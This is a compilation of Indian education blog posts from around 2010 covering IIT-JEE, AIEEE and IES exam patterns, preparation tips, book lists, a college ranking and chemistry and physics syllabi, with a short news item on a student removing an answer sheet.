Innovative Method of Cheating:Answer Sheet's Theft

Employing an innovative method of cheating, a student took his answer sheet of first year BSc paper, home on April,15 only to return it to the examiners on April,16. He claimed that he had forgotten to submit it.

Examiners at Gujarat College have sent the answer sheet to Gujarat University.

The interesting aspect of the incident is that the Gujarat College examiners did not realise the answer sheet's theft and reportedly told varsity authorities that it was a counting mistake. However, the blunder came to light, when the student along with his father turned up next day to return the answer sheet.

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Plan And Strategy For Indian Engineering Services

(A Path of Glorious Future)

Any one can never make a comparison of Government Service with anything. Where ever the question about Indian Engineering Services, actually these have very high position. Here, you play a role in a making a plan and executing it not for money, for any person but your beloved country and their people.

Like Civil Servants in India, the Engineers recruited through Indian Engineering Services get very high honors in government and society. At present government is spending more than 15 percent of India's GDP in Engineering. Given the extent of tasks and functions managed by the public sector this extends to a fairly broad segment of the economy covering the Railroads, Military, Public works, Power, Telecommunications, etc.

Government of India recruits its coveted Engineers through competitive exams held each year by Union Public Service Commission. For this, a combined competitive examination is conducted by the UPSC.

The test is conducted in June every year at centres across India, namely: Agartala, Ahmedabad, Aizwal, Allahabad, Bangalore, Bareilly, Bhopal, Chandigarh, Chennai, Cuttack, Delhi, Dharwar, Dispur (Guwahati), Gangtok, Hyderabad, Imphal, Itanagar, Jaipur, Jammu, Jorhat, Kochi, Kohima, Kolkata, Lucknow, Madurai, Mumbai, Nagpur, Panaji (Goa), Patna, Port Blair, Raipur, Sambalpur, Shillong, Simla, Srinagar,
Thiruvananthapuram, Tirupati, Udaipur,Ranchi
(Jharkhand) and Vishakapatnam.

There are two parts of Indian Engineering Services written exam, Objective Papers of 600 marks and Conventional Papers of 400 marks ie total 1000 marks.

Beside it there is personality test of 200 marks. IES exam total carries 1200 marks. Objective Papers consist of three papers each carrying 200 marks of two hour duration. Here first paper is of General Ability Test divided in two parts-General English and General Studies and last two papers are from your chosen Engineering subjects.

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IIT-JEE: Mistakes Leaves Aspirants Tizzy

It was a goof-up alright: while some students sweated through their IIT-JEE examination because the order of subjects on the question paper didn’t match the sequence on the answer sheet, others cracked the seeming teaser by figuring out that there was an obvious printer’s devil. 

While the question paper had the first 28 questions from physics, followed by an equal number of questions from chemistry and maths, the ORS sheet (objective response sheet) had a different sequence of subjects.

Nearly 4.72 lakh candidates appeared for the IIT joint entrance exam (JEE)  on April 11 this year. The exam, touted to be the most challenging in the country, held at 1,026 centres across the country with the results expected to be announced on May 26.

IITs will implement the last phase of 27% OBC reservation this year with approximately 10,000 total seats up for grabs in the new session. "There are around 4.72 lakh applicants for JEE this time as compared to 3.98 lakh candidates last year. We have 10,000 seats in 15 IITs, IT-BHU and ISM-Dhanbad this year," said Professor T S Natrajan, JEE chairperson, IIT Madras that is organizing the JEE this year.

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How To Crack IIT-JEE & AIEEE

FOR IIT-JEE: For the preparation of IIT-JEE, you have to clear & enhance your CONCEPTS. All you have to go through more and more CONCEPTS.

Whenever somebody prepares for IIT-JEE, just always be with THREE THINGS:

 

First is: BUILDING THE CONCEPTS,

Second is: PROPER APPLICATIONS OF CONCEPTS

Third is: PRACTICE.

Here remember, I stressed on the word ‘PROPER’. In Physics, building CONCEPTS is not a tougher job but building RIGHT (PROPER) CONCEPTS is much tougher. Out of every 20 students, I guarantee, that there is only one or two students who know the RIGHT CONCEPT about a particular topic. So I would like to say that don’t think Physics is a tougher subject. REMEMBER one more thing if I prefer even a single book, so it means you have to go through each & every line of that book starting from first page till you encounter the last page. There is no use of doing a lot of books only for one subject without getting any point. I saw a lot of students having their own library at their home. But as far PRACTICE is concerned, do whatever you get from anywhere. Whereas in case of Chemistry, just you need to put your efforts on PRACTICE in case of Inorganic Chemistry. In case of Organic part, just first build up your all BASIC Reactions, then start do PRACTICING. And for Physical Part, same thing you have to do as in case of Organic Part. For Maths,just use your brain as much as you can.
Ultimately for preparation of any exam, remember some points:

1) Always start from BASICS because “without base, there will be no altitude” and “journey of a thousand miles begin with single step”.

2) Always BUILD UP RIGHT & APPROPRIATE BASICS because “once the track of train is being changed, it will go on only that track”. So always select the right track.

3) Never prefer solutions of questions before doing SELF-ATTEMPT at least five times till you get the right answer because “without fall you can not stand at once”.

4) Never leave the question in between. And I saw a lot of students practicing this question without attempting it whole, and it’s a very big fault for students and even it becomes their negative point sometimes. So please ignore this thing. Because “many of life’s failure are people who did not realize how close they were to success when they gave up”

5) Always try a question with CONCEPTUAL APPROACH, not just read the question then start doing without getting the point that what question is saying.

6) Your study schedule should be such that you will even easily get the time for a little enjoyment daily.

7) Most important thing is that you should be having a time schedule as well as REGULARITY in study.

Also you will have to take appropriate sleep or rest of at least 6 hours a day if you are preparing for IIT-JEE otherwise your mind set-up for next day will not be in place.

9) Never cram the things, always TRY TO UNDERSTAND the problem or theory.

10) And BE CONFIDENT while you are preparing. NEVER LOSE CONFIDENCE.

11) Always keep contact with intelligent students of your class or at coaching centre.

12) For your brain storming, I always preferred MTG publications monthly magazine in maths part.

13) Always be AHEAD in exams like-OLYMPIAD, UNIFIED COUNCIL etc. Etc. (for more information-contact me)

14) Always keep the copy of latest syllabus for particular exam. Always check the syllabus before starting a new topic.

15) NEVER GET DEMORALIZED BY SOMEBODY but yes ALWAYS GET INSPIRED FROM SOMEBODY WHO IS YOUR SENIOR. (If you want, contact me)

16) I have a positive point i.e. once I set a goal, then I don’t look at anything else, I just KEEP DETERMINATION in me until or unless I ACHIEVE THAT GOAL.

17) Whenever you complete any chapter or particular topic, first of all, go through that topic from NCERT. (It’s very important).

18) There is one more thing, whenever you are studying just be CONCENTRATE on that thing so badly, so that you even don’t know what is happening your nearby. Because studying 2 hours with DAMN GOOD CONCENTRATION is equals to studying 5-12 hours without any concentration.

19) Always study anything with GREAT INTEREST otherwise it will be of NO USE.

20) Even there are some students who think that they can nod prepare for IIT-JEE like EXAMS. So if they think so, then they are wrong. Because “ATTITUDE, NOT APTITUDE DETERMINES ALTITUDE”.

At last I prefer books for preparation of IIT-JEE subject-wise:

* MATHS: R.D.SHARMA (for theory and practice) and PURUSHOTTEM KUMAR-OBJECTIVE (it must be for practice)

* PHYSICS: H.C.VERMA (part 1 & 2 both)(for theory as well as practice)

* PHYSICAL CHEMISTRY: BHARTI BHAVAN PUBLICATIONS

* ORGANIC CHEMISTRY: NCERT (must)

* INORGANIC CHEMISTRY: NCERT (must) (you need nothing else for preparing this part)

* NOTE: prefer MTG Publication monthly Magazine also &if are taking coaching from somewhere, then prefer that notes also.

At last I want to say one more thing for IIT-JEE that “DO PRACTICE AS MUCH AS YOU CAN WITH YOUR FULL EFFORT”

FOR AIEEE: There are lot of students who think that if they are preparing for IIT-JEE, then they are also preparing for AIEEE. It’s wrong.
First of all, for preparation of AIEEE, they have to prepare tightly for CBSE EXAMS if the person is fresher otherwise dropper also have to prepare for CBSE, only then he can think of rank less than 20,000 in AIEEE.
If somebody is preparing for AIEEE (whether he is preparing for IIT-JEE or not), he or she has to keep THREE WORDS IN HIS OR HER MIND ALL THE TIME:

1) PRACTICE (as much as somebody can)

2) SPEED (for doing question with RIGHT APPROACH)

3) ACCURACY (the MOST IMPORTANT POINT to get the RIGHT ANSWER)

For AIEEE, you have to learn SMALL TRICKS and MAGIC to solve the question in possible time.
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AIEEE Book References

Books For AIEEE

PHYSICS

• MECHANICS
  • Physics by H.C. Verma
  • Problems in physics by I.E. Irodov                             
  • Resnick and Halliday
• ELECRICITY AND MAGNETISM
  • Resnick and Halliday
  Circuits devices and systems by R.J. Smith
  • Problems in physics by I.E. Irodov
• OPTICS
  • Physics by H.C. Verma
• MODERN PHYSICS
  • Physics by H.C. Verma
  • Problems in Physics by I.E. Irodov
• HEAT AND WAVES
  • Physics by H.C. Verma
  • Resnick and Halliday

CHEMISTRY

• ORGANIC CHEMISTRY
  • Morrison & Boyd
  • Solutions to Morrison Boyd
  • Reaction mechanism in Organic Chemistry by Parmar & MP; Chawla
• INORGANIC CHEMISTRY
  • NCERT Inorganic Chemistry
  • Concise Inorganic Chemistry by J.D. Lee
  • IIT Chemistry by O.P. Aggarwal
• GENERAL CHEMISTRY
  • J.D. Lee
  • O.P. Aggarwal                                                     
  • R.C.Mukerjee

MATHEMATICS

• ALGEBRA
  • High school mathematics by Hall and Knight
  • IIT Maths by M.L. Khanna
• CALCULUS amp; ANALYTIC GEOMETRY
  
  • G.N.Berman
  • Calculus and analytic geometry by Thomas and Finney
  • Coordinate geometry by Loney
  • IIT Maths by M.L. Khanna                                                               
  • I.A.Maron
• VECTORS
  • IIT Maths by M.L. Khanna

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2009: India's top 10 tech schools (Survey)

IIT Kharagpur is the best tech school in India, according to an IDC survey of 111 engineering colleges across India.Seven National Institutes of Technology (earlier called Regional Engineering Colleges), made it to the Top 30 T-Schools list compared to only four in 2007-08. Due to the good placement track record of NITs, the HRD Ministry is proposing to convert some of them into IITs.

Interestingly, while the average annual salaries of IIT graduates registered a drop of 5% to Rs 5.88 lakh, average salary of NIT graduates improved 6% to Rs 4.36 lakh. Amongst IITs, IIT Kharagpur scored highest on HR perception but it was IIT Delhi that ranked the highest on placement records. Economic slowdown in 2009, however, did have an impact on placements across all tech schools. Placements across T-schools in 2009 fell to 73%, from a high of 84% in 2007-08, the the T-School 2009 survey said.The Indian Institute of Technology Kharagpur is an autonomous engineering and technology-oriented institute of higher education established by the Government of India in 1951. The first of the thirteen IITs to be established, it is officially recognised as an Institute of National Importance by the Government of India and is regarded as one of the best engineering institutions in India. IIT Kharagpur has been ranked amongst the top engineering colleges in India by various education surveys.

Here is the list:

1)IIT Kharagpur was established to train scientists and engineers after India attained independence in 1947. It shares its organisational structure and undergraduate admission process with sister IITs. The students and alumni of IIT Kharagpur are informally referred to as KGPians. Among all IITs, IIT Kharagpur has the largest campus (2,100 acres), the most departments, and the highest student enrollment. IIT Kharagpur is particularly famous for its festivals: Kshitij and Spring Fest.

2)The Indian Institute of Technology Delhi is a major college of engineering in Delhi, India. It forms a part of the league along with other IITs in India: the Indian Institute of Technology, Bombay, Guwahati, Kanpur, Kharagpur, Madras, and Roorkee.

IIT Delhi has 13 departments, 11 multi-disciplinary centers, and 2 schools of excellence. Together they offer around 700 courses every semester.

IIT Delhi, like all other Indian Institutes of Technology, is best known for its undergraduate program that include the Bachelor of Technology program, the Dual Degree Bachelor-cum-Master of Technology program and an Integrated Master of Technology Program.

3)IIT Madras is an elite engineering and technology school located in Chennai (formerly Madras) in southern India. It is recognized as an Institute of National Importance by the Government of India and is regarded as one of the finest engineering institutions in India.

Founded in 1959 with technical and financial assistance from the Government of the erstwhile West Germany, IIT Madras is third among currently fifteen Indian Institutes of Technology (including 6 new IITs started in 2008 and 2 more in 2009) established by the Government of India through an Act of Parliament, to provide education and research facilities in engineering and technology.

4)IIT Kanpur was set up in industrial city of Kanpur in 1959 and is currently celebrating its Golden Jubilee. IIT Kanpur has grown into one of the top technological institutes in India, primarily focused on research in engineering and science, and the teaching of undergraduates. IIT Kanpur has a sprawling campus spread over an area of approx. 4.3 square km, just north-west of the city.

Undergraduate courses in engineering are traditionally 4 year Bachelor of Technology (B.Tech) and 5 year Dual Degree Programme leading to the degrees of B. Tech- M. Tech are also offered in most of the departments along with the five year MSc programmes.

Postgraduate courses in the engineering are 2 year Master of Technology (M.Tech) and PhD. The institute also offers MBA (2 years), M.Sc. (2 years) and M. Des programme. Admissions to MTech is made once a year through Graduate Aptitude Test in Engineering.

5)IIT Roorkee is located in Roorkee, a township in Uttarakhand, India. Instituted as Thomson college of Civil Engineering in year 1847 by the British, it was rechristened as University of Roorkee in year 1949.

Prior to independence, it awarded the degrees of the University of Calcutta and the Allahabad University, to which it was successively affiliated, followed by its own diplomas.

IIT Roorkee offers a wide range of academic programmes. It runs eleven Under Graduate, five Integrated Dual Degree, three Integrated M.Tech., three integrated MSc, sixty one Post Graduate and several Doctoral Programmes.

6)Indian Institute of Technology Guwahati is an autonomous engineering and technology-oriented institute of higher education established by the Government of India, located in Guwahati, in the state of Assam in India. It is the sixth member of the IIT fraternity.

IIT Guwahati is officially recognised as an Institute of National Importance by the Government of India. The institute consistently ranks amongst the top engineering colleges in the academic ranking of Indian colleges by various engineering education surveys.

Owing to its establishment in the early 1990s, the institute boasts of providing the best and the latest engineering and computing resources in the entire country.

7)International Institute of Information Technology Hyderabad is an autonomous institute started in 1998 with seed support from the Government of Andhra Pradesh.

It emphasizes research from the undergraduate level, which makes it different from the other leading engineering institutes in India like the IITs. Raj Reddy, the only Indian to get the Turing Award, is the chairman of the board of governors.

It is a research university. The major goal is to impart a uniquely broad and interdisciplinary IT education of high academic quality. This is done through an diverse curriculum of IT courses, interdisciplinary IT research projects, interaction with industry, preparation in entrepreneurship and personality development courses.

8)Birla Institute of Technology & Science is an Institution declared as Deemed to be University under Sec. 3 of the UGC Act and features in the world map as a renowned science and technology institute.

It is located in Pilani, Rajasthan, India. In addition to Pilani, BITS has campuses in Dubai, United Arab Emirates, Goa, India and Hyderabad, India and an extension center in Bangalore, India.

BITS Pilani is well known for its flexible academic structure and the institute's policy of admission purely on the basis of merit and not through any kind of reservations.

The institute is privately supported and fully residential. BITS Pilani is the first Indian institution to set up a campus outside India.

9)The National Institute of Technology Karnataka, Surathkal is a premier autonomous university along the western shores of India. It was founded in July 1960, as a joint venture between the Government of Karnataka and the Government of India, originally under the name Karnataka Regional Engineering College, Surathkal.

The B Tech admissions are based on the AIEEE (All India Engineering Entrance Examination). The exam consists of three sections on Mathematics, Physics and Chemistry and is one of the most competitive examinations in the country, with lakhs of students competing for the privilege of a few hundred seats.

Post Graduate students are admitted to the program through the Graduate Aptitude Test in Engineering (GATE) conducted by the Indian Institute of Technologies and the Indian Institute of Science.

10) The Institute of Technology or IT-BHU is the engineering school of Banaras Hindu University (BHU) in Varanasi. It is one of India's oldest and highest-ranked engineering colleges.

Like the rest of BHU, it is a residential and co-educational institute. The University is situated in a magnificent campus spread over nearly 1300 acres at the southern end of the ancient city of Varanasi on the banks of the holy river Ganga. The admission for undergraduate students is through IIT - Joint Entrance Examination and for post-graduates is through Graduate Aptitude Test in Engineering (GATE).

The Institute has so far produced more than 22,000 BTech graduates, 2700 MTech post graduates and 650 PhD doctorates. IT-BHU is now scheduled to become India's 16th IIT and the first that will bear in its name link to another institution viz BHU.

Devised by:Ashish jindal.

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IIT JEE 2010 (Joint Entrance Exam)

The Joint Entrance Examination (JEE) is an all-India examination administered and conducted in eight IIT zones across the country by the Indian Institutes of Technology (IIT) for admission to undergraduate courses at Indian Institute of Technology (IIT) Bhubaneswar, Bombay, Delhi, Gandhinagar, Guwahati, Hyderabad, Indore, Kanpur, Kharagpur, Madras, Mandi, Patna, Punjab, Rajasthan, Roorkee, IT-BHU Varanasi, ISM Dhanbad

Examination Schedule

April 11th (Sunday), 2010, Paper 1 – 09.00 – 12.00 hrs, Paper 2 – 14.00 – 17.00 hrs

Paper-1 and Paper-2 will each have separate sections in Chemistry, Mathematics and Physics. Both papers will be of objective type, designed to test comprehension, reasoning and analytical ability of candidates.

Syllabus for this examination will be available on the website of all IITs.

PATTERN OF IITJEE

Question Papers

There will be two question papers, each of three hours duration. Both the question papers would consist of three separate sections on Chemistry, Mathematics and Physics. Questions in these papers will be of objective type, which are to be answered on a specially designed machine-gradable sheet (ORS – Optical Response Sheet) using HB pencils only. Incorrect answers will be awarded negative marks.

Language and Font of Question Papers

Candidates can opt for Question Papers either in English or in Hindi. This option should be exercised while filling the application form. It cannot be changed at any later stage.

Visually impaired candidates, on request, will be provided with question papers with 20% enlarged font.

Calculating Aids

Use of log tables and any electronic calculating aids are NOT permitted in JEE-2009.

Aptitude Test for B.Arch. and B.Des.

Candidates called for counselling and desirous of joining the B.Arch. and B.Des. courses will be required to qualify in an Aptitude Test to be conducted at each counselling institute on June 11 and June 15, 2009. The test will consist of one paper of three hours duration – from 10:00 to 13:00 hrs. Candidates who fail to qualify in the Aptitude Test will not be eligible for admission to either B.Arch. or B.Des. courses. Question papers for aptitude test for B.Arch and B.Des will be in English only. The candidate should write the test only once, either on June 11 or June 15, 2009.

ELIGIBILITY FOR IIT JEE 2010

Eligibility: You must make sure that you satisfy all the eligibility conditions given below for appearing in JEE-2010

Date of birth: Candidate belonging to GE, OBC and DS categories must be born on or after October 01, 1985 and those belonging to SC, ST and PD categories must be born on or after October 01, 1980

Year of passing qualifying examination (QE): Must have passed the qualifying examination, namely, XII standard or any equivalent examination, after 1st October 2008 or in the year 2009 or will be appearing in 2010

Minimum percentage of marks in QE: candidates belonging to GE, OBC and DS categories must secure at least 60% marks and candidates belonging to SC, ST and PD categories must secure at least 55% marks in aggregate in the qualifying examination

Important notes: (i) You can attempt JEE only twice, in consecutive years. That means you should have attempted JEE for the first time in 2009 or will be appearing in 2010

(ii) If you have accepted admission after qualifying in JEE in earlier years by paying full fees at any of the IITs, IT-BHU, Varanasi or ISM, Dhanbad, you will not be eligible to write JEE at all, irrespective of whether or not you joined in any of the programmes

Reservation of seats: For SC and ST candidates, respectively 15% & 7.5% seats are reserved in each programme in all the IITs, IT-BHU, Varanasi and ISM, Dhanbad. Some candidates belonging to these categories who do not qualify in JEE-2010, may be offered admission to the Preparatory course of one-year duration provided (i) seats are available, (ii) candidates satisfy minimum norms, and (iii) candidates have not undergone the preparatory course earlier. Candidates successfully completing the preparatory course will be offered direct admission to the first year in the academic year 2011-12. For details, please refer to the information brochure or IIT websites

For OBC candidates belonging to non-creamy layer, 27% seats are reserved in each programme in all the IITs, IT-BHU, Varanasi and ISM, Dhanbad. Candidates belonging to this category are admitted on the basis of a relaxed criterion.

For candidates with physical disability (PD), including leprosy-cured candidates, and who are otherwise fit to pursue the course, 3% seats are reserved in each of the categories (viz. GE, OBC, SC and ST). Candidates in this category are also admitted under relaxed norms. In case the reserved seats are not filled, a limited number of PD candidates are admitted to a Preparatory course of one year duration on the basis of a further relaxation. Two seats in each institute are preferentially allotted to children of defence/paramilitary personnel killed or permanently disabled in action during war or peacetime operations (DS) and who qualify in the general category.

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AIEEE 2010 Syllabus for Aptitude Test

Part I:

Awareness of persons, places, Buildings, Materials.) Objects, Texture related to Architecture and build~ environment. Visualising three dimensional objects from two dimensional drawings. Visualising. different sides of three dimensional objects. Analytical Reasoning Mental Ability (Visual, Numerical and Verbal).

Part II:

Three dimensional - perception: Understanding and appreciation of scale and proportion of objects, building forms and elements, colour texture, harmony and contrast. Design and drawing of geometrical or abstract shapes and patterns in pencil.

Transformation of forms both 2 D and 3 D union, substraction, rotation, development of surfaces and volumes, Generation of Plan, elevations and 3 D views of objects. Creating two dimensional and three dimensional compositions using given shapes and forms.

Sketching of scenes and activities from memory of urbanscape (public space, market, festivals, street scenes, monuments, recreational spaces etc.), landscape (river fronts, jungles. gardens, trees, plants etc.) and rural life.

Note: Candidates are advised to bring pencils, own geometry box set, erasers and colour pencils and crayons for the Aptitude Test.

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AIEEE Syllabus of Chemistry 2010

SECTION-A: PHYSICAL CHEMISTRY

UNIT 1: Some Basic conceptS IN CHEMISTRY: Matter and its nature, Dalton’s atomic theory; Concept of atom, molecule, element and compound; Physical quantities and their measurements in Chemistry, precision and accuracy, significant figures, S.I. Units, dimensional analysis; Laws of chemical combination; Atomic and molecular masses, mole concept, molar mass, percentage composition, empirical and molecular formulae; Chemical equations and stoichiometry.

UNIT 2: States of Matter: Classification of matter into solid, liquid and

Gaseous State: Measurable properties of gases; Gas laws - Boyle’s law, Charle’s law, Graham’s law of diffusion, Avogadro’s law,

Dalton’s law of partial pressure; Concept of Absolute scale of temperature; Ideal gas equation, Kinetic theory of gases (only postulates); Concept of average, root mean square and most probable velocities; Real gases, deviation from Ideal behaviour, compressibility factor, van der Waals equation, liquefaction of gases, critical constants. Liquid State: Properties of liquids - vapour pressure, viscosity and surface tension and effect of temperature on them (qualitative treatment only). Solid State: Classification of solids: molecular, ionic, covalent and metallic solids, amorphous and crystalline solids (elementary idea); Bragg’s Law and its applications; Unit cell and lattices, packing in solids (fcc, bcc and hcp lattices), voids, calculations involving unit cell parameters, imperfection in solids; Electrical, magnetic and dielectric properties.

UNIT 3: Atomic Structure: Discovery of sub-atomic particles (electron, proton and neutron); Thomson and Rutherford atomic models and their limitations; Nature of electromagnetic radiation, photoelectric effect; Spectrum of hydrogen atom, Bohr model of hydrogen atom - its postulates, derivation of the relations for energy of the electron and radii of the different orbits, limitations of Bohr’s model; Dual nature of matter, de-Broglie’s relationship, Heisenberg uncertainty principle. Elementary ideas of quantum mechanics, quantum mechanical model of atom, its important features, * and *2, concept of atomic orbitals as one electron wave functions; Variation of * and * 2 with r for 1s and 2s orbitals; various quantum numbers (principal, angular momentum and magnetic quantum numbers) and their significance; shapes of s, p and d - orbitals, electron spin and spin quantum number; Rules for filling electrons in orbitals – aufbau principle, Pauli’ s exclusion principle and Hund’s rule, electronic configuration of elements, extra stability of half-filled and completely filled orbitals.

UNIT 4: Chemical Bonding and Molecular Structure: Kossel - Lewis approach to chemical bond formation, concept of ionic and covalent bonds.

Ionic Bonding: Formation of ionic bonds, factors affecting the formation of ionic bonds; calculation of lattice enthalpy.

Covalent Bonding: Concept of electronegativity, Fajan’s rule, dipole moment; Valence Shell Electron Pair Repulsion (VSEPR) theory and shapes of simple molecules. Quantum mechanical approach to covalent bonding: Valence bond theory - Its important features, concept of hybridization involving s, p and d orbitals; Resonance. Molecular Orbital Theory - Its important features, LCAOs, types of molecular orbitals (bonding, antibonding), sigma and pi-bonds, molecular orbital electronic configurations of homonuclear diatomic molecules, concept of bond order, bond length and bond energy. Elementary idea of metallic bonding. Hydrogen bonding and its applications.

UNIT 5: CHEMICAL THERMODYNAMICS: Fundamentals of thermodynamics: System and surroundings, extensive and intensive properties, state functions, types of processes. First law of thermodynamics - Concept of work, heat internal energy and enthalpy, heat capacity, molar heat capacity; Hess’s law of constant heat summation; Enthalpies of bond dissociation, combustion, formation, atomization, sublimation, phase transition, hydration, ionization and solution. Second law of thermodynamics- Spontaneity of processes; DS of the universe and DG of the system as criteria for spontaneity, DGo (Standard Gibbs energy change) and equilibrium constant.

UNIT 6: SOLUTIONS: Different methods for expressing concentration of solution - molality, molarity, mole fraction, percentage (by volume and mass both), vapour pressure of solutions and Raoult’s Law - Ideal and non-ideal solutions, vapour pressure - composition, plots for ideal and non-ideal solutions; Colligative properties of dilute solutions - relative lowering of vapour pressure, depression of freezing point, elevation of boiling point and osmotic pressure; Determination of molecular mass using colligative properties; Abnormal value of molar mass, van’t Hoff factor and its significance.

UNIT 7: EQUILIBRIUM: Meaning of equilibrium, concept of dynamic equilibrium. Equilibria involving physical processes: Solid -liquid, liquid - gas and solid - gas equilibria, Henry’s law, general characterics of equilibrium involving physical processes. Equilibria involving chemical processes: Law of chemical equilibrium, equilibrium constants (Kp and Kc) and their significance, significance of DG and DGo in chemical equilibria, factors affecting equilibrium concentration, pressure, temperature, effect of catalyst; Le Chatelier’s principle. Ionic equilibrium: Weak and strong electrolytes, ionization of electrolytes, various concepts of acids and bases (Arrhenius, Br?nsted - Lowry and Lewis) and their ionization, acid - base equilibria (including multistage ionization) and ionization constants, ionization of water, pH scale, common ion effect, hydrolysis of salts and pH of their solutions, solubility of sparingly soluble salts and solubility products, buffer solutions.

UNIT 8: REDOX REACTIONS AND ELECTROCHEMISTRY: Electronic concepts of oxidation and reduction, redox reactions, oxidation number, rules for assigning oxidation number, balancing of redox reactions. Eectrolytic and metallic conduction, conductance in electrolytic solutions, specific and molar conductivities and their variation with concentration: Kohlrausch’s law and its applications. Electrochemical cells - Electrolytic and Galvanic cells, different types of electrodes, electrode potentials including standard electrode potential, half - cell and cell reactions, emf of a Galvanic cell and its measurement; Nernst equation and its applications; Relationship between cell potential and Gibbs’ energy change; Dry cell and lead accumulator; Fuel cells; Corrosion and its prevention.

UNIT 9: CHEMICAL KINETICS: Rate of a chemical reaction, factors affecting the rate of reactions: concentration, temperature, pressure and catalyst; elementary and complex reactions, order and molecularity of reactions, rate law, rate constant and its units, differential and integral forms of zero and first order reactions, their characteristics and half - lives, effect of temperature on rate of reactions - Arrhenius theory, activation energy and its calculation, collision theory of bimolecular gaseous reactions (no derivation).

UNIT 10: SURFACE CHEMISTRY: Adsorption- Physisorption and chemisorption and their characteristics, factors affecting adsorption of gases on solids - Freundlich and Langmuir adsorption isotherms, adsorption from solutions. Catalysis - Homogeneous and heterogeneous, activity and selectivity of solid catalysts, enzyme catalysis and its mechanism. Colloidal state - distinction among true solutions, colloids and suspensions, classification of colloids - lyophilic, lyophobic; multi molecular, macromolecular and associated colloids (micelles), preparation and properties of colloids - Tyndall effect, Brownian movement, electrophoresis, dialysis, coagulation and flocculation; Emulsions and their characteristics.

SECTION-B: INORGANIC CHEMISTRY

UNIT 11: CLASSIFICATON OF ELEMENTS AND PERIODICITY IN PROPERTIES: Modem periodic law and present form of the periodic table, s, p, d and f block elements, periodic trends in properties of elements­atomic and ionic radii, ionization enthalpy, electron gain enthalpy, valence, oxidation states and chemical reactivity.

UNIT 12: GENERAL PRINCIPLES AND PROCESSES OF ISOLATION OF METALS: Modes of occurrence of elements in nature, minerals, ores; steps involved in the extraction of metals - concentration, reduction (chemical. and electrolytic methods) and refining with special reference to the extraction of Al, Cu, Zn and Fe; Thermodynamic and electrochemical principles involved in the extraction of metals.

UNIT 13: HYDROGEN: Position of hydrogen in periodic table, isotopes, preparation, properties and uses of hydrogen; Physical and chemical properties of water and heavy water; Structure, preparation, reactions and uses of hydrogen peroxide; Classification of hydrides - ionic, covalent and interstitial; Hydrogen as a fuel.

UNIT 14: S - BLOCK ELEMENTS (ALKALI AND ALKALINE EARTH METALS): Group - 1 and 2 Elements General introduction, electronic configuration and general trends in physical and chemical properties of elements, anomalous properties of the first element of each group, diagonal relationships. Preparation and properties of some important compounds - sodium carbonate, sodium chloride, sodium hydroxide and sodium hydrogen carbonate; Industrial uses of lime, limestone, Plaster of Paris and cement; Biological significance of Na, K, Mg and Ca.

Tips for AIEEE Chemistry Exam Practice:

This section must be done in 45 minutes.

If you follow this time frame in the actual exam, you will still be left with a comfortable cushion of 15 minutes.

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AIEEE Syllabus of Physics 2010

SECTION A

UNIT 1: PHYSICS AND MEASUREMENT: Physics, technology and society, S I units, Fundamental and derived units. Least count, accuracy and precision of measuring instruments, Errors in measurement, Significant figures. Dimensions of Physical quantities, dimensional analysis and its applications.

UNIT 2: KINEMATICS: Frame of reference. Motion in a straight line: Position-time graph, speed and velocity.

Uniform and non-uniform motion, average speed and instantaneous velocity Uniformly accelerated motion, velocity-time, position-time graphs, relations for uniformly accelerated motion. Scalars and Vectors, Vector addition and Subtraction, Zero Vector, Scalar and Vector products, Unit Vector, Resolution of a Vector. Relative Velocity, Motion in a plane, Projectile Motion, Uniform Circular Motion.

UNIT 3: LAWS OF MOTION: Force and Inertia, Newton’s First Law of motion; Momentum, Newton’s Second Law of motion; Impulse; Newton’s Third Law of motion. Law of conservation of linear momentum and its applications, Equilibrium of concurrent forces. Static and Kinetic friction, laws of friction, rolling friction. Dynamics of uniform circular motion: Centripetal force and its applications.

UNIT 4: WORK, ENERGY AND POWER: Work done by a constant force and a variable force; kinetic and potential energies, work-energy theorem, power. Potential energy of a spring, conservation of mechanical energy, conservative and non-conservative forces; Elastic and inelastic collisions in one and two dimensions.

UNIT 5: ROTATIONAL MOTION: Centre of mass of a two-particle system, Centre of mass of a rigid body; Basic concepts of rotational motion; moment of a force, torque, angular momentum, conservation of angular momentum and its applications; moment of inertia, radius of gyration. Values of moments of inertia for simple geometrical objects, parallel and perpendicular axes theorems and their applications. Rigid body rotation, equations of rotational motion.

UNIT 6: GRAVITATION: The universal law of gravitation. Acceleration due to gravity and its variation with altitude and depth. Kepler’s laws of planetary motion. Gravitational potential energy; gravitational potential. Escape velocity. Orbital velocity of a satellite. Geo-stationary satellites.

UNIT 7: PROPERTIES OF SOLIDS AND LIQUIDS: Elastic behaviour, Stress-strain relationship, Hooke’s Law, Young’s modulus, bulk modulus, modulus of rigidity. Pressure due to a fluid column; Pascal’s law and its applications. Viscosity, Stokes’ law, terminal velocity, streamline and turbulent flow, Reynolds number. Bernoulli’s principle and its applications. Surface energy and surface tension, angle of contact, application of surface tension - drops, bubbles and capillary rise. Heat, temperature, thermal expansion; specific heat capacity, calorimetry; change of state, latent heat. Heat transfer-conduction, convection and radiation, Newton’s law of cooling.

UNIT 8: THERMODYNAMICS: Thermal equilibrium, zeroth law of thermodynamics, concept of temperature. Heat, work and internal energy. First law of thermodynamics. Second law of thermodynamics: reversible and irreversible processes. Carnot engine and its efficiency.

UNIT 9: KINETIC THEORY OF GASES: Equation of state of a perfect gas, work done on compressing a gas. Kinetic theory of gases - assumptions, concept of pressure. Kinetic energy and temperature: rms speed of gas molecules; Degrees of freedom, Law of equipartition of energy, applications to specific heat capacities of gases; Mean free path, Avogadro’s number.

UNIT 10: OSCILLATIONS AND WAVES: Periodic motion - period, frequency, displacement as a function of time. Periodic functions. Simple harmonic motion (S.H.M.) and its equation; phase; oscillations of a spring - restoring force and force constant; energy in S.H.M. - kinetic and potential energies; Simple pendulum - derivation of expression for its time period; Free, forced and damped oscillations, resonance. Wave motion. Longitudinal and transverse waves, speed of a wave. Displacement relation for a progressive wave. Principle of superposition of waves, reflection of waves, Standing waves in strings and organ pipes, fundamental mode and harmonics, Beats, Doppler effect in sound

